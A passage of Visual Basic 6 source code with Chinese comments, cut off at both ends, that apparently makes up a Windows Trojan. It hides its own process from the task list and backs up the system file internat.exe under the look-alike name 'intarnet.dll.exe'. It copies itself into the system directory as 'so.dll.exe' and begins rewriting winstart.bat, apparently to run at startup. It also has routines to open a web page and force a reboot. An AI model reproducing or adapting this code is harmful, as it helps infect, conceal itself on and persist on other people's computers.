)) - 1)
Else
GetWinPath = ""
End If
End Function
''取得system目录
Function GetSystemPath()
Dim strFolder As String
Dim lngResult As Long
strFolder = String(MAX_PATH, 0)
lngResult = GetSystemDirectory(strFolder, MAX_PATH)
If lngResult <> 0 Then
GetSystemPath = Left(strFolder, InStr(strFolder, Chr(0)) - 1)
Else
GetSystemPath = ""
End If
End Function
''文件是否存在
Function FileExists(filename As String) As Integer
Dim i As Integer
On Error Resume Next
i = Len(Dir$(filename))
If Err Or i = 0 Then FileExists = False Else FileExists = True
End Function
''隐藏进程
Public Sub RemoveProgramFromList()
Dim lngProcessID As Long
Dim lngReturn As Long
Dim pid As Long
lngProcessID = GetCurrentProcessId()
lngReturn = RegisterServiceProcess(pid, RSP_SIMPLE_SERVICE)
End Sub
''打开浏览器
Public Sub gotoweb()
Dim Success As Long
Success = ShellExecute(0&, vbNullString, URL,
vbNullString, "C:\", SW_SHOWNORMAL)
End Sub
''连入网站
Private Sub cmdBuy_Click()
gotoweb
End Sub
''重新启动
Private Sub cmdReset_Click()
Dim lresult
lresult = ExitWindowsEx(EWX_REBOOT, 0&)
End Sub
Private Sub Form_Load()
On Error Resume Next
Dim Path As String
Dim SourceFile, DestinationFile
Path = App.Path
If Right(Path, 1) <> "\" Then Path = Path & "\"
If App.PrevInstance Then End
If FileExists(GetSystemPath & "\intarnet.dll.exe") = 0 Then
''备份internat.exe文件
SourceFile = GetSystemPath & "\internat.exe"
DestinationFile = GetSystemPath & "\intarnet.dll.exe"
FileCopy SourceFile, DestinationFile
''复制自己
SourceFile = Path & App.EXEName & ".EXE"
DestinationFile = GetSystemPath & "\so.dll.exe"
FileCopy SourceFile, DestinationFile
''改写winstart.bat文件
Open GetWinPath & "\winstart.bat" For Ap